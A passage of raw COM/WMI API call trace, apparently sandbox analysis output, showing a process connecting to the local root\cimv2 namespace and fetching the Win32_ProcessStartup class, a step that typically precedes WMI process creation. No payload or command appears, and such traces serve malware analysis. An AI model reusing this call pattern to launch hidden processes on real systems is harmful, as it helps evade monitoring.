ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4ac150) returned 0x0 [0108.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac150, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0108.493] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac150, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af9a0) returned 0x0 [0108.493] WbemDefPath:IUnknown:Release (This=0x1b4ac150) returned 0x0 [0108.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4af9a0) returned 0x0 [0108.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0108.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0108.493] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0108.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0108.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0108.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4ac3f0) returned 0x0 [0108.494] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac3f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.494] WbemDefPath:IUnknown:Release (This=0x1b4ac3f0) returned 0x3 [0108.494] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0108.494] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0108.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0108.494] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0108.494] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0108.494] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0108.494] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0108.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af9a0) returned 0x0 [0108.494] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0108.494] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0108.494] WbemDefPath:IWbemPath:SetText (This=0x1b4af9a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0108.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0108.494] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0108.494] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.494] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0108.494] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0108.495] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0108.495] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.495] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4ac870) returned 0x0 [0108.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac870, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0108.495] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4ac870, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4ac3d0) returned 0x0 [0108.495] WbemLocator:IUnknown:Release (This=0x1b4ac870) returned 0x0 [0108.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4ac3d0) returned 0x0 [0108.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0108.495] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0108.496] WbemLocator:IUnknown:AddRef (This=0x1b4ac3d0) returned 0x3 [0108.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0108.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0108.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0108.496] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0108.496] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0108.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0108.496] WbemLocator:IUnknown:Release (This=0x1b4ac3d0) returned 0x2 [0108.496] WbemLocator:IUnknown:Release (This=0x1b4ac3d0) returned 0x1 [0108.496] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0108.496] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0108.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac3d0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4ac3d0) returned 0x0 [0108.499] WbemLocator:IUnknown:AddRef (This=0x1b4ac3d0) returned 0x3 [0108.499] WbemLocator:IUnknown:Release (This=0x1b4ac3d0) returned 0x2 [0108.499] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0108.499] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0108.499] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.499] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4ac7d0) returned 0x0 [0108.499] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4ac7d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63cce0) returned 0x0 [0108.907] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b4aea80) returned 0x0 [0108.907] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4aea80, pProxy=0x63cce0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0108.907] WbemLocator:IUnknown:Release (This=0x1b4aea80) returned 0x1 [0108.907] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b4aeac8) returned 0x0 [0108.907] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b4aea80) returned 0x0 [0108.907] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4aea80, pProxy=0x63cce0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0108.907] WbemLocator:IUnknown:Release (This=0x1b4aea80) returned 0x2 [0108.907] WbemLocator:IUnknown:Release (This=0x1b4aeac8) returned 0x1 [0108.907] CoTaskMemFree (pv=0x1b462060) [0108.908] WbemLocator:IUnknown:Release (This=0x1b4ac7d0) returned 0x0 [0108.908] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b4aeac8) returned 0x0 [0108.908] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0108.958] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0109.033] WbemLocator:IUnknown:QueryInterface (in: This=0x63cce0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0109.143] WbemLocator:IUnknown:AddRef (This=0x1b4aeac8) returned 0x3 [0109.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0109.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0109.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b4ae9a8) returned 0x0 [0109.143] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4ae9a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.143] WbemLocator:IUnknown:Release (This=0x1b4ae9a8) returned 0x3 [0109.143] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0109.143] CoGetContextToken (in: pToken=0x1b30c1b0 | out: pToken=0x1b30c1b0) returned 0x0 [0109.143] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0109.143] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b4aea90) returned 0x0 [0109.143] WbemLocator:IRpcOptions:Query (in: This=0x1b4aea90, pPrx=0x1b4aeac8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0109.143] WbemLocator:IUnknown:Release (This=0x1b4aea90) returned 0x3 [0109.143] WbemLocator:IUnknown:Release (This=0x1b4aeac8) returned 0x2 [0109.144] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0109.144] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0109.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63cce0) returned 0x0 [0109.144] WbemLocator:IUnknown:AddRef (This=0x63cce0) returned 0x4 [0109.144] WbemLocator:IUnknown:Release (This=0x63cce0) returned 0x3 [0109.144] WbemLocator:IUnknown:Release (This=0x63cce0) returned 0x2 [0109.144] SysStringLen (param_1=0x0) returned 0x0 [0109.144] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0109.144] WbemLocator:IUnknown:AddRef (This=0x1b4aeac8) returned 0x3 [0109.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aeac8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b4aeac8) returned 0x0 [0109.144] WbemLocator:IUnknown:Release (This=0x1b4aeac8) returned 0x3 [0109.144] WbemLocator:IUnknown:Release (This=0x1b4aeac8) returned 0x2 [0109.144] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0109.144] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0109.144] IWbemServices:GetObject (in: This=0x63cce0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4ced10, ppCallResult=0x0) returned 0x0 [0109.158] IWbemClassObject:Get (in: This=0x1b4ced10, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0109.158] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0109.158] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0109.158] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0109.159] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0109.159] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0109.159] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.160] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4ac770) returned 0x0 [0109.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac770, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0109.160] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac770, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4aee60) returned 0x0 [0109.160] WbemDefPath:IUnknown:Release (This=0x1b4ac770) returned 0x0 [0109.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4aee60) returned 0x0 [0109.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0109.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0109.160] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0109.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0109.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, 